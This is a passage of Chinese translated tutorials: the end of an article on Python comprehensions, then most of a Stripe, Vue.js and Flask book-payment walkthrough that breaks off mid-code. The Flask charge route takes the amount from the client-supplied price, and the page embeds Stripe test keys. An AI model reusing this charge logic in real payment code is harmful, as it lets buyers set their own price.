还是推导式。我通常会把两种都写出来然后使用更清晰的那个。\n\n可读性在编程结构中总是针对于特定问题的，这个在推导式上也适用。\n\n## 无效的工作\n\n有时候你会发现，推导式不应该被另一个构造函数所替代，而应该被**完全删除**，只留下需要遍历的迭代器。\n\n这段代码打开了一个单词构成的文件（每行一个单词），存储这个文件，同时计数每个单词出现的次数：\n\n```python\nfrom collections import Counter\n\nword_counts = Counter(\n    word\n    for word in open('word_list.txt').read().splitlines()\n)\n```\n\n我们使用了一个生成器表达式，但我们并不需要如此。可以直接这样写：\n\n```python\nfrom collections import Counter\n\nword_counts = Counter(open('word_list.txt').read().splitlines())\n```\n\n我们在传给 `Counter` 类之前遍历了整个列表并转换为一个生成器。完全是无用功。`Counter` 类是接受**任何迭代器，不论它是列表，生成器，元组或者是其它结构**。\n\n这是另外一个无效的推导式：\n\n```python\nwith open('word_list.txt') as words_file:\n    lines = [line for line in words_file]\n    for line in lines:\n        if 'z' in line:\n            print('z word', line, end='')\n```\n\n我们遍历了 `words_file`，转化为列表 `lines`，再去遍历 `lines` 一次。整个对于列表的转换是不必要的。\n\n我们可以直接遍历 `words_file`：\n\n```python\nwith open('word_list.txt') as words_file:\n    for line in words_file:\n        if 'z' in line:\n            print('z word', line, end='')\n```\n\n没有任何理由将我们只需要遍历一次的迭代器转换为列表。\n\n在 Python 中，我们更关注**它是不是一个迭代器**而不是**它是不是一个列表**。\n\n在不需要的时候，不要去创建一个新的迭代器。**如果你只是为了遍历这个迭代器一次，你可以直接使用它**。\n\n## 什么时候应该使用推导式？\n\n那么，什么时候确实应该使用推导式呢？\n\n一个简单但是不准确的回答是，当你需要写如下文[复制-粘贴推导式格式](https://treyhunner.com/2015/12/python-list-comprehensions-now-in-color/ \"List Comprehensions: Explain Visually\")中所提到的代码，同时你没有其他的工具可以让你的代码更精简，你就应该考虑使用列表推导式了。\n\n```python\nnew_things = []\nfor ITEM in old_things:\n    if condition_based_on(ITEM):\n        new_things.append(some_operation_on(ITEM))\n```\n\n循环可以用这样的推导式重写：\n\n```python\nnew_things = [\n    some_operation_on(ITEM)\n    for ITEM in old_things\n    if condition_based_on(ITEM)\n]\n```\n\n更复杂的回答是，当推导式有意义时，你就应该考虑它。这实际上不算是一个回答，但确实没人回答“什么时候该使用推导式”这个问题。\n\n这里有一个 `for` 循环看起来的确不像是可以用推导式重写：\n\n```python\ndef is_prime(candidate):\n    for n in range(2, candidate):\n        if candidate % n == 0:\n            return False\n    return True\n```\n\n但实际上，如果我们知道怎么使用 `all` 函数，我们可以用生成器表达式来重写它：\n\n```python\ndef is_prime(candidate):\n    return all(\n        candidate % n != 0\n        for n in range(2, candidate)\n    )\n```\n\n我写过一篇文章叫 [ `any` 和 `all` 函数](https://treyhunner.com/2016/11/check-whether-all-items-match-a-condition-in-python/)的文章来描述这对操作和生成器表达式是多么搭配。但是 any 和 all 并不是唯一与生成器表达式有关联的。\n\n还有一个相似场景的代码：\n\n```python\ndef sum_of_squares(numbers):\n    total = 0\n    for n in numbers:\n        total += n**2\n    return total\n```\n\n这里没有 `append` 同时也没有迭代器被建立。但是，如果我们创建一个平方的生成器，我们可以使用内置的 `sum` 函数去得到一样的结果。\n\n```python\ndef sum_of_squares(numbers):\n    return sum(n**2 for n in numbers)\n```\n\n所以，除了要考虑检查“我是否可以从一个循环复制-粘贴到推导式”之外，我们还需要考虑：我们是否可以通过结合生成器表达式与接受迭代器的函数或者类来增强我们的代码？\n\n那些可以**接受迭代器作为参数**的函数或者类，**可能是与生成器表达式组合的**优秀组件。\n\n## 深思熟虑后使用列表推导式\n\n列表推导式可以使你的代码更可读（如果你不相信我，可以看我的演讲[可理解的推导式](https://youtu.be/5_cJIcgM7rw \"Comprehensible Comprehensions\")中的例子），但是它确实被滥用。\n\n列表推导式是被用来解决特定问题的专用工具。`list` 和 `dict` 的构造函数是被用来解决更具体问题的更专用的工具。\n\n循环是**更通用的工具**，适用于当你遇到的问题不适合推导式或其它专用循环工具领域的场景。\n\n像 `any`、`all` 和 `sum` 这样的函数，以及像 `Counter` 和 `chain` 这样的类都是接受迭代器的工具，它们**与推导式**非常匹配，有时**完全取代了推导式**。\n\n请记住，推导式只有一个目的:**从旧的迭代器中创建一个新的迭代器**，同时在此过程中稍微调整值和/或过滤不匹配条件的值。推导式是一个可爱的工具，但是**它们不是你唯一的工具**。当你的推导式不能胜任时，不要忘记 `list` 和 `dict` 构造函数，以及 `for` 循环。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n"
  },
  {
    "path": "TODO1/accepting-payments-with-stripe-vuejs-and-flask.md",
    "content": "> * 原文地址：[Accepting Payments with Stripe, Vue.js, and Flask](https://testdriven.io/blog/accepting-payments-with-stripe-vuejs-and-flask/)\n> * 原文作者：[Michael Herman](https://testdriven.io/authors/herman/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/accepting-payments-with-stripe-vuejs-and-flask.md](https://github.com/xitu/gold-miner/blob/master/TODO1/accepting-payments-with-stripe-vuejs-and-flask.md)\n> * 译者：[Mcskiller](https://github.com/Mcskiller)\n> * 校对者：[kasheemlew](https://github.com/kasheemlew)\n\n# 使用 Stripe, Vue.js 和 Flask 接受付款\n\n![](https://testdriven.io/static/images/blog/flask-vue-stripe/payments_vue_flask.png)\n\n在本教程中，我们将会开发一个使用 [Stripe](https://stripe.com/)（处理付款订单），[Vue.js](https://vuejs.org/)（客户端应用）以及 [Flask](http://flask.pocoo.org/)（服务端 API）的 web 应用来售卖书籍。\n\n> 这是一个进阶教程。我们默认您已经基本掌握了 Vue.js 和 Flask。如果你还没有了解过它们，请查看下面的链接以了解更多：\n> \n> 1.  [Introduction to Vue](https://vuejs.org/v2/guide/index.html)\n> 2.  [Flaskr: Intro to Flask, Test-Driven Development (TDD), and JavaScript](https://github.com/mjhea0/flaskr-tdd)\n> 3.  [用 Flask 和 Vue.js 开发一个单页面应用](https://juejin.im/post/5c1f7289f265da612e28a214)\n\n**最终效果**：\n\n![final app](https://testdriven.io/static/images/blog/flask-vue-stripe/final.gif)\n\n**主要依赖**：\n\n*   Vue v2.5.2\n*   Vue CLI v2.9.3\n*   Node v10.3.0\n*   NPM v6.1.0\n*   Flask v1.0.2\n*   Python v3.6.5\n\n## 目录\n\n*   [目的](#目的)\n*   [项目安装](#项目安装)\n*   [我们要做什么？](#我们要做什么？)\n*   [CRUD 书籍](#CRUD-书籍)\n*   [订单页面](#订单页面)\n*   [表单验证](#表单验证)\n*   [Stripe](#stripe)\n*   [订单完成页面](#订单完成页面)\n*   [总结](#总结)\n\n## 目的\n\n在本教程结束的时候，你能够...\n\n1.  获得一个现有的 CRUD 应用，由 Vue 和 Flask 驱动\n2.  创建一个订单结算组件\n3.  使用原生 JavaScript 验证一个表单\n4.  使用 Stripe 验证信用卡信息\n5.  通过 Stripe API 处理付款\n\n## 项目安装\n\nClone [flask-vue-crud](https://github.com/testdrivenio/flask-vue-crud) 仓库，然后在 master 分支找到 [v1](https://github.com/testdrivenio/flask-vue-crud/releases/tag/v1) 标签：\n\n```\n$ git clone https://github.com/testdrivenio/flask-vue-crud --branch v1 --single-branch\n$ cd flask-vue-crud\n$ git checkout tags/v1 -b master\n```\n\n搭建并激活一个虚拟环境，然后运行 Flask 应用：\n\n```\n$ cd server\n$ python3.6 -m venv env\n$ source env/bin/activate\n(env)$ pip install -r requirements.txt\n(env)$ python app.py\n```\n\n> 上述搭建环境的命令可能因操作系统和运行环境而异。\n\n用浏览器访问 [http://localhost:5000/ping](http://localhost:5000/ping)。你会看到：\n\n```\n\"pong!\"\n```\n\n然后，安装依赖并在另一个终端中运行 Vue 应用：\n\n```\n$ cd client\n$ npm install\n$ npm run dev\n```\n\n转到 [http://localhost:8080](http://localhost:8080)。确保 CRUD 基本功能正常工作：\n\n![v1 app](https://testdriven.io/static/images/blog/flask-vue-stripe/v1.gif)\n\n> 想学习如何构建这个项目？查看 [用 Flask 和 Vue.js 开发一个单页面应用](https://juejin.im/post/5c1f7289f265da612e28a214) 文章。\n\n## 我们要做什么？\n\n我们的目标是构建一个允许终端用户购买书籍的 web 应用。\n\n客户端 Vue 应用将会显示出可供购买的书籍并记录付款信息，然后从 Stripe 获得 token，最后发送 token 和付款信息到服务端。\n\n然后 Flask 应用获取到这些信息，并把它们都打包发送到 Stripe 去处理。\n\n最后，我们会用到一个客户端 Stripe 库 [Stripe.js](https://stripe.com/docs/stripe-js/v2)，它会生成一个专有 token 来创建账单，然后使用服务端 Python [Stripe 库](https://github.com/stripe/stripe-python)和 Stripe API 交互。\n\n![final app](https://testdriven.io/static/images/blog/flask-vue-stripe/final.gif)\n\n> 和之前的 [教程](https://testdriven.io/developing-a-single-page-app-with-flask-and-vuejs) 一样，我们会简化步骤，你应该自己处理产生的其他问题，这样也会加强你的理解。\n\n## CRUD 书籍\n\n首先，让我们将购买价格添加到服务器端的现有书籍列表中，然后在客户端上更新相应的 CRUD 函数 GET，POST 和 PUT。\n\n### GET\n\n首先在 **server/app.py** 中添加 `price` 到 `BOOKS` 列表的每一个字典元素中：\n\n```\nBOOKS = [\n    {\n        'id': uuid.uuid4().hex,\n        'title': 'On the Road',\n        'author': 'Jack Kerouac',\n        'read': True,\n        'price': '19.99'\n    },\n    {\n        'id': uuid.uuid4().hex,\n        'title': 'Harry Potter and the Philosopher\\'s Stone',\n        'author': 'J. K. Rowling',\n        'read': False,\n        'price': '9.99'\n    },\n    {\n        'id': uuid.uuid4().hex,\n        'title': 'Green Eggs and Ham',\n        'author': 'Dr. Seuss',\n        'read': True,\n        'price': '3.99'\n    }\n]\n```\n\n然后，在 `Books` 组件 **client/src/components/Books.vue** 中更新表格以显示购买价格。\n\n```\n<table class=\"table table-hover\">\n  <thead>\n    <tr>\n      <th scope=\"col\">Title</th>\n      <th scope=\"col\">Author</th>\n      <th scope=\"col\">Read?</th>\n      <th scope=\"col\">Purchase Price</th>\n      <th></th>\n    </tr>\n  </thead>\n  <tbody>\n    <tr v-for=\"(book, index) in books\" :key=\"index\">\n      <td>{{ book.title }}</td>\n      <td>{{ book.author }}</td>\n      <td>\n        <span v-if=\"book.read\">Yes</span>\n        <span v-else>No</span>\n      </td>\n      <td>${{ book.price }}</td>\n      <td>\n        <button type=\"button\"\n                class=\"btn btn-warning btn-sm\"\n                v-b-modal.book-update-modal\n                @click=\"editBook(book)\">\n            Update\n        </button>\n        <button type=\"button\"\n                class=\"btn btn-danger btn-sm\"\n                @click=\"onDeleteBook(book)\">\n            Delete\n        </button>\n      </td>\n    </tr>\n  </tbody>\n</table>\n```\n\n你现在应该会看到：\n\n![default vue app](https://testdriven.io/static/images/blog/flask-vue-stripe/price.png)\n\n### POST\n\n添加一个新 `b-form-group` 到 `addBookModal` 中，在 Author 和 read 的 `b-form-group` 类之间：\n\n```\n<b-form-group id=\"form-price-group\"\n              label=\"Purchase price:\"\n              label-for=\"form-price-input\">\n  <b-form-input id=\"form-price-input\"\n                type=\"number\"\n                v-model=\"addBookForm.price\"\n                required\n                placeholder=\"Enter price\">\n  </b-form-input>\n</b-form-group>\n```\n\n这个模态现在看起来应该是这样：\n\n```\n<!-- add book modal -->\n<b-modal ref=\"addBookModal\"\n         id=\"book-modal\"\n        title=\"Add a new book\"\n        hide-footer>\n  <b-form @submit=\"onSubmit\" @reset=\"onReset\" class=\"w-100\">\n    <b-form-group id=\"form-title-group\"\n                  label=\"Title:\"\n                  label-for=\"form-title-input\">\n        <b-form-input id=\"form-title-input\"\n                      type=\"text\"\n                      v-model=\"addBookForm.title\"\n                      required\n                      placeholder=\"Enter title\">\n        </b-form-input>\n    </b-form-group>\n    <b-form-group id=\"form-author-group\"\n                  label=\"Author:\"\n                  label-for=\"form-author-input\">\n      <b-form-input id=\"form-author-input\"\n                    type=\"text\"\n                    v-model=\"addBookForm.author\"\n                    required\n                    placeholder=\"Enter author\">\n      </b-form-input>\n    </b-form-group>\n    <b-form-group id=\"form-price-group\"\n                  label=\"Purchase price:\"\n                  label-for=\"form-price-input\">\n      <b-form-input id=\"form-price-input\"\n                    type=\"number\"\n                    v-model=\"addBookForm.price\"\n                    required\n                    placeholder=\"Enter price\">\n      </b-form-input>\n    </b-form-group>\n    <b-form-group id=\"form-read-group\">\n        <b-form-checkbox-group v-model=\"addBookForm.read\" id=\"form-checks\">\n          <b-form-checkbox value=\"true\">Read?</b-form-checkbox>\n        </b-form-checkbox-group>\n    </b-form-group>\n    <b-button type=\"submit\" variant=\"primary\">Submit</b-button>\n    <b-button type=\"reset\" variant=\"danger\">Reset</b-button>\n  </b-form>\n</b-modal>\n```\n\n然后，添加 `price` 到 `addBookForm` 属性中：\n\n```\naddBookForm: {\n  title: '',\n  author: '',\n  read: [],\n  price: '',\n},\n```\n\n`addBookForm` 现在和表单的输入值进行了绑定。想想这意味着什么。当 `addBookForm` 被更新时，表单的输入值也会被更新，反之亦然。以下是 [vue-devtools](https://github.com/vuejs/vue-devtools) 浏览器扩展的示例。\n\n![state model bind](https://testdriven.io/static/images/blog/flask-vue-stripe/state-model-bind.gif)\n\n将 `price` 添加到 `onSubmit` 方法的 `payload` 中，像这样：\n\n```\nonSubmit(evt) {\n  evt.preventDefault();\n  this.$refs.addBookModal.hide();\n  let read = false;\n  if (this.addBookForm.read[0]) read = true;\n  const payload = {\n    title: this.addBookForm.title,\n    author: this.addBookForm.author,\n    read, // property shorthand\n    price: this.addBookForm.price,\n  };\n  this.addBook(payload);\n  this.initForm();\n},\n```\n\n更新 `initForm` 函数，在用户提交表单点击 \"重置\" 按钮后清除已有的值：\n\n```\ninitForm() {\n  this.addBookForm.title = '';\n  this.addBookForm.author = '';\n  this.addBookForm.read = [];\n  this.addBookForm.price = '';\n  this.editForm.id = '';\n  this.editForm.title = '';\n  this.editForm.author = '';\n  this.editForm.read = [];\n},\n```\n\n最后，更新 **server/app.py** 中的路由：\n\n```\n@app.route('/books', methods=['GET', 'POST'])\ndef all_books():\n    response_object = {'status': 'success'}\n    if request.method == 'POST':\n        post_data = request.get_json()\n        BOOKS.append({\n            'id': uuid.uuid4().hex,\n            'title': post_data.get('title'),\n            'author': post_data.get('author'),\n            'read': post_data.get('read'),\n            'price': post_data.get('price')\n        })\n        response_object['message'] = 'Book added!'\n    else:\n        response_object['books'] = BOOKS\n    return jsonify(response_object)\n```\n\n赶紧测试一下吧！\n\n![add book](https://testdriven.io/static/images/blog/flask-vue-stripe/add-book.gif)\n\n> 不要忘了处理客户端和服务端的错误！\n\n### PUT\n\n同样的操作，不过这次是编辑书籍，该你自己动手了：\n\n1.  添加一个新输入表单到模态中\n2.  更新属性中的 `editForm` 部分\n3.  添加 `price` 到 `onSubmitUpdate` 方法的 `payload` 中\n4.  更新 `initForm`\n5.  更新服务端路由\n\n> 需要帮助吗？重新看看前面的章节。或者你可以从 [flask-vue-crud](https://github.com/testdrivenio/flask-vue-crud) 仓库获得源码。\n\n![edit book](https://testdriven.io/static/images/blog/flask-vue-stripe/edit-book.gif)\n\n## 订单页面\n\n接下来，让我们添加一个订单页面，用户可以在其中输入信用卡信息来购买图书。\n\nTODO：添加图片\n\n### 添加一个购买按钮\n\n首先给 `Books` 组件添加一个“购买”按钮，就在“删除”按钮的下方：\n\n```\n<td>\n  <button type=\"button\"\n          class=\"btn btn-warning btn-sm\"\n          v-b-modal.book-update-modal\n          @click=\"editBook(book)\">\n      Update\n  </button>\n  <button type=\"button\"\n          class=\"btn btn-danger btn-sm\"\n          @click=\"onDeleteBook(book)\">\n      Delete\n  </button>\n  <router-link :to=\"`/order/${book.id}`\"\n               class=\"btn btn-primary btn-sm\">\n      Purchase\n  </router-link>\n</td>\n```\n\n这里，我们使用了 [router-link](https://router.vuejs.org/api/#router-link) 组件来生成一个连接到 **client/src/router/index.js** 中的路由的锚点，我们马上就会用到它。\n\n![default vue app](https://testdriven.io/static/images/blog/flask-vue-stripe/purchase-button.png)\n\n### 创建模板\n\n添加一个叫做 **Order.vue** 的新组件文件到 **client/src/components**：\n\n```\n<template>\n  <div class=\"container\">\n    <div class=\"row\">\n      <div class=\"col-sm-10\">\n        <h1>Ready to buy?</h1>\n        <hr>\n        <router-link to=\"/\" class=\"btn btn-primary\">\n          Back Home\n        </router-link>\n        <br><br><br>\n        <div class=\"row\">\n          <div class=\"col-sm-6\">\n            <div>\n              <h4>You are buying:</h4>\n              <ul>\n                <li>Book Title: <em>Book Title</em></li>\n                <li>Amount: <em>$Book Price</em></li>\n              </ul>\n            </div>\n            <div>\n              <h4>Use this info for testing:</h4>\n              <ul>\n                <li>Card Number: 4242424242424242</li>\n                <li>CVC Code: any three digits</li>\n                <li>Expiration: any date in the future</li>\n              </ul>\n            </div>\n          </div>\n          <div class=\"col-sm-6\">\n            <h3>One time payment</h3>\n            <br>\n            <form>\n              <div class=\"form-group\">\n                <label>Credit Card Info</label>\n                <input type=\"text\"\n                       class=\"form-control\"\n                       placeholder=\"XXXXXXXXXXXXXXXX\"\n                       required>\n              </div>\n              <div class=\"form-group\">\n                <input type=\"text\"\n                       class=\"form-control\"\n                       placeholder=\"CVC\"\n                       required>\n              </div>\n              <div class=\"form-group\">\n                <label>Card Expiration Date</label>\n                <input type=\"text\"\n                       class=\"form-control\"\n                       placeholder=\"MM/YY\"\n                       required>\n              </div>\n              <button class=\"btn btn-primary btn-block\">Submit</button>\n            </form>\n          </div>\n        </div>\n      </div>\n    </div>\n  </div>\n</template>\n```\n\n> 你可能会想收集买家的联系信息，比如姓名，邮件地址，送货地址等等。这就得靠你自己了。\n\n### 添加路由\n\n**client/src/router/index.js**：\n\n```\nimport Vue from 'vue';\nimport Router from 'vue-router';\nimport Ping from '@/components/Ping';\nimport Books from '@/components/Books';\nimport Order from '@/components/Order';\n\nVue.use(Router);\n\nexport default new Router({\n  routes: [\n    {\n      path: '/',\n      name: 'Books',\n      component: Books,\n    },\n    {\n      path: '/order/:id',\n      name: 'Order',\n      component: Order,\n    },\n    {\n      path: '/ping',\n      name: 'Ping',\n      component: Ping,\n    },\n  ],\n  mode: 'hash',\n});\n```\n\n测试一下。\n\n![order page](https://testdriven.io/static/images/blog/flask-vue-stripe/order-page.gif)\n\n### 获取产品信息\n\n接下来，让我们在订单页面 上更新书名和金额的占位符：\n\n![order page](https://testdriven.io/static/images/blog/flask-vue-stripe/order-page-placeholders.png)\n\n回到服务端并更新以下路由接口：\n\n```\n@app.route('/books/<book_id>', methods=['GET', 'PUT', 'DELETE'])\ndef single_book(book_id):\n    response_object = {'status': 'success'}\n    if request.method == 'GET':\n        # TODO: refactor to a lambda and filter\n        return_book = ''\n        for book in BOOKS:\n            if book['id'] == book_id:\n                return_book = book\n        response_object['book'] = return_book\n    if request.method == 'PUT':\n        post_data = request.get_json()\n        remove_book(book_id)\n        BOOKS.append({\n            'id': uuid.uuid4().hex,\n            'title': post_data.get('title'),\n            'author': post_data.get('author'),\n            'read': post_data.get('read'),\n            'price': post_data.get('price')\n        })\n        response_object['message'] = 'Book updated!'\n    if request.method == 'DELETE':\n        remove_book(book_id)\n        response_object['message'] = 'Book removed!'\n    return jsonify(response_object)\n```\n\n我们可以在 `script` 中使用这个路由向订单页面添加书籍信息：\n\n```\n<script>\nimport axios from 'axios';\n\nexport default {\n  data() {\n    return {\n      book: {\n        title: '',\n        author: '',\n        read: [],\n        price: '',\n      },\n    };\n  },\n  methods: {\n    getBook() {\n      const path = `http://localhost:5000/books/${this.$route.params.id}`;\n      axios.get(path)\n        .then((res) => {\n          this.book = res.data.book;\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    },\n  },\n  created() {\n    this.getBook();\n  },\n};\n</script>\n```\n\n> 转到生产环境？你将需要使用环境变量来动态设置基本服务器端 URL（现在 URL 为 `http://localhost:5000`）。查看 [文档](https://vuejs-templates.github.io/webpack/env.html) 获取更多信息。\n\n然后，更新 template 中的第一个 `ul`：\n\n```\n<ul>\n  <li>Book Title: <em>{{ book.title }}</em></li>\n  <li>Amount: <em>${{ book.price }}</em></li>\n</ul>\n```\n\n你现在会看到：\n\n![order page](https://testdriven.io/static/images/blog/flask-vue-stripe/order-page-sans-placeholders.png)\n\n## 表单验证\n\n让我们设置一些基本的表单验证。\n\n使用 `v-model` 指令去 [绑定](https://vuejs.org/v2/guide/forms.html) 表单输入值到属性中：\n\n```\n<form>\n  <div class=\"form-group\">\n    <label>Credit Card Info</label>\n    <input type=\"text\"\n           class=\"form-control\"\n           placeholder=\"XXXXXXXXXXXXXXXX\"\n           v-model=\"card.number\"\n           required>\n  </div>\n  <div class=\"form-group\">\n    <input type=\"text\"\n           class=\"form-control\"\n           placeholder=\"CVC\"\n           v-model=\"card.cvc\"\n           required>\n  </div>\n  <div class=\"form-group\">\n    <label>Card Expiration Date</label>\n    <input type=\"text\"\n           class=\"form-control\"\n           placeholder=\"MM/YY\"\n           v-model=\"card.exp\"\n           required>\n  </div>\n  <button class=\"btn btn-primary btn-block\">Submit</button>\n</form>\n```\n\n添加 card 属性，就像这样：\n\n```\ncard: {\n  number: '',\n  cvc: '',\n  exp: '',\n},\n```\n\n接下来，更新“提交”按钮，以便在单击按钮时忽略正常的浏览器行为，并调用 `validate` 方法：\n\n```\n<button class=\"btn btn-primary btn-block\" @click.prevent=\"validate\">Submit</button>\n```\n\n将数组添加到属性中以保存验证错误信息：\n\n```\ndata() {\n  return {\n    book: {\n      title: '',\n      author: '',\n      read: [],\n      price: '',\n    },\n    card: {\n      number: '',\n      cvc: '',\n      exp: '',\n    },\n    errors: [],\n  };\n},\n```\n\n就添加在表单的下方，我们能够依次显示所有错误：\n\n```\n<div v-show=\"errors\">\n  <br>\n  <ol class=\"text-danger\">\n    <li v-for=\"(error, index) in errors\" :key=\"index\">\n      {{ error }}\n    </li>\n  </ol>\n</div>\n```\n\n添加 `validate` 方法：\n\n```\nvalidate() {\n  this.errors = [];\n  let valid = true;\n  if (!this.card.number) {\n    valid = false;\n    this.errors.push('Card Number is required');\n  }\n  if (!this.card.cvc) {\n    valid = false;\n    this.errors.push('CVC is required');\n  }\n  if (!this.card.exp) {\n    valid = false;\n    this.errors.push('Expiration date is required');\n  }\n  if (valid) {\n    this.createToken();\n  }\n},\n```\n\n由于所有字段都是必须填入的，而我们只是验证了每一个字段是否都有一个值。Stripe 将会验证下一节你看到的信用卡信息，所以你不必过度验证表单信息。也就是说，只需要保证你自己添加的其他字段通过验证。\n\n最后，添加 `createToken` 方法：\n\n```\ncreateToken() {\n  // eslint-disable-next-line\n  console.log('The form is valid!');\n},\n```\n\n测试一下。\n\n![form validation](https://testdriven.io/static/images/blog/flask-vue-stripe/form-validation.gif)\n\n## Stripe\n\n如果你没有 [Stripe](https://stripe.com) 账号的话需要先注册一个，然后再去获取你的 测试模式 [API Publishable key](https://stripe.com/docs/keys)。\n\n![stripe dashboard](https://testdriven.io/static/images/blog/flask-vue-stripe/stripe-dashboard-keys-publishable.png)\n\n### 客户端\n\n添加 stripePublishableKey 和 `stripeCheck`（用来禁用提交按钮）到 data 中：\n\n```\ndata() {\n  return {\n    book: {\n      title: '',\n      author: '',\n      read: [],\n      price: '',\n    },\n    card: {\n      number: '',\n      cvc: '',\n      exp: '',\n    },\n    errors: [],\n    stripePublishableKey: 'pk_test_aIh85FLcNlk7A6B26VZiNj1h',\n    stripeCheck: false,\n  };\n},\n```\n\n> 确保添加你自己的 Stripe key 到上述代码中。\n\n同样，如果表单有效，触发 `createToken` 方法（通过 [Stripe.js](https://stripe.com/docs/stripe-js/v2)）验证信用卡信息然后返回一个错误信息（如果无效）或者返回一个 token（如果有效）：\n\n```\ncreateToken() {\n  this.stripeCheck = true;\n  window.Stripe.setPublishableKey(this.stripePublishableKey);\n  window.Stripe.createToken(this.card, (status, response) => {\n    if (response.error) {\n      this.stripeCheck = false;\n      this.errors.push(response.error.message);\n      // eslint-disable-next-line\n      console.error(response);\n    } else {\n      // pass\n    }\n  });\n},\n```\n\n如果没有错误的话，我们就发送 token 到服务器，在那里我们会完成扣费并把用户转回主页：\n\n```\ncreateToken() {\n  this.stripeCheck = true;\n  window.Stripe.setPublishableKey(this.stripePublishableKey);\n  window.Stripe.createToken(this.card, (status, response) => {\n    if (response.error) {\n      this.stripeCheck = false;\n      this.errors.push(response.error.message);\n      // eslint-disable-next-line\n      console.error(response);\n    } else {\n      const payload = {\n        book: this.book,\n        token: response.id,\n      };\n      const path = 'http://localhost:5000/charge';\n      axios.post(path, payload)\n        .then(() => {\n          this.$router.push({ path: '/' });\n        })\n        .catch((error) => {\n          // eslint-disable-next-line\n          console.error(error);\n        });\n    }\n  });\n},\n```\n\n按照上述代码更新 `createToken()`，然后添加 [Stripe.js](https://stripe.com/docs/stripe-js/v2) 到 **client/index.html** 中：\n\n```\n<!DOCTYPE html>\n<html>\n  <head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width,initial-scale=1.0\">\n    <title>Books!</title>\n  </head>\n  <body>\n    <div id=\"app\"></div>\n    <!-- built files will be auto injected -->\n    <script type=\"text/javascript\" src=\"https://js.stripe.com/v2/\"></script>\n  </body>\n</html>\n```\n\n> Stripe 支持 v2 和 v3（[Stripe Elements](https://stripe.com/elements)）版本的 Stripe.js。如果你对 Stripe Elements 和如何把它集成到 Vue 中感兴趣，参阅以下资源：1. [Stripe Elements 迁移指南](https://stripe.com/docs/stripe-js/elements/migrating) 2. [集成 Stripe Elements 和 Vue.js 来创建一个自定义付款表单](https://alligator.io/vuejs/stripe-elements-vue-integration/)\n\n现在，当 `createToken` 被触发是，`stripeCheck` 值被更改为 `true`，为了防止重复收费，我们在 `stripeCheck` 值为 `true` 时禁用“提交”按钮：\n\n```\n<button class=\"btn btn-primary btn-block\"\n        @click.prevent=\"validate\"\n        :disabled=\"stripeCheck\">\n    Submit\n</button>\n```\n\n测试一下 Stripe 验证的无效反馈：\n\n1.  信用卡卡号\n2.  安全码\n3.  有效日期\n\n![stripe-form validation](https://testdriven.io/static/images/blog/flask-vue-stripe/stripe-form-validation.gif)\n\n现在，让我们开始设置服务端路由。\n\n### 服务端\n\n安装 [Stripe](https://pypi.org/project/stripe/) 库：\n\n```\n$ pip install stripe==1.82.1\n```\n\n添加路由接口：\n\n```\n@app.route('/charge', methods=['POST'])\ndef create_charge():\n    post_data = request.get_json()\n    amount = round(float(post_data.get('book')['price']) * 100)\n    stripe.api_key = os.environ.get('STRIPE_SECRET_KEY')\n    charge = stripe.Charge.create(\n        amount=amount,\n        currency='usd',\n        card=post_data.get('token'),\n        description=post_data.get('book')['title']\n    )\n    response_object = {\n        'status': 'success',\n        'charge': charge\n    }\n    return jsonify(response_object), 200\n```\n\n在这里设定书籍价格（转换为美分），专有 token（来自客户端的 `createToken` 方法），以及书名，然后我们利用 [API Secret key](https://stripe.com/docs/keys) 生成一个新的 Stripe 账单。\n\n> 了解更多创建账单的信息，参考官方 API [文档](https://stripe.com/docs/api#create_charge)。\n\nUpdate the imports:\n\n```\nimport os\nimport uuid\n\nimport stripe\nfrom flask import Flask, jsonify, request\nfrom flask_cors import CORS\n```\n\n获取 **测试模式** [API Secret key](https://stripe.com/docs/keys)：\n\n![stripe dashboard](https://testdriven.io/static/images/blog/flask-vue-stripe/stripe-dashboard-keys-secret.png)\n\n把它设置成一个环境变量：\n\n```\n$ export STRIPE_SECRET_KEY=sk_test_io02FXL17hrn2TNvffanlMSy\n```\n\n> 确保使用的是你自己的 Stripe key！\n\n测试一下吧！\n\n![purchase a book](https://testdriven.io/static/images/blog/flask-vue-stripe/purchase.gif)\n\n在 [Stripe Dashboard](https://dashboard.stripe.com/) 中你应该会看到购买记录：\n\n![stripe dashboard](https://testdriven.io/static/images/blog/flask-vue-stripe/stripe-dashboard-payments.png)\n\n你可能还想创建 [顾客](https://stripe.com/docs/api#customers)，而不仅仅是创建账单。这样一来有诸多优点。你能同时购买多个物品，以便跟踪客户购买记录。你可以向经常购买的用户提供优惠，或者向许久未购买的用户联系，还有许多用处这里就不做介绍了。它还可以用来防止欺诈。参考以下 Flask [项目](https://stripe.com/docs/checkout/flask) 来看看如何添加客户。\n\n## 订单完成页面\n\n比起把买家直接转回主页，我们更应该把他们重定向到一个订单完成页面，以感谢他们的购买。\n\n添加一个叫 **OrderComplete.vue** 的新组件文件到 “client/src/components” 中：\n\n```\n<template>\n  <div class=\"container\">\n    <div class=\"row\">\n      <div class=\"col-sm-10\">\n        <h1>Thanks for purchasing!</h1>\n        <hr><br>\n        <router-link to=\"/\" class=\"btn btn-primary btn-sm\">Back Home</router-link>\n      </div>\n    </div>\n  </div>\n</template>\n```\n\n更新路由：\n\n```\nimport Vue from 'vue';\nimport Router from 'vue-router';\nimport Ping from '@/components/Ping';\nimport Books from '@/components/Books';\nimport Order from 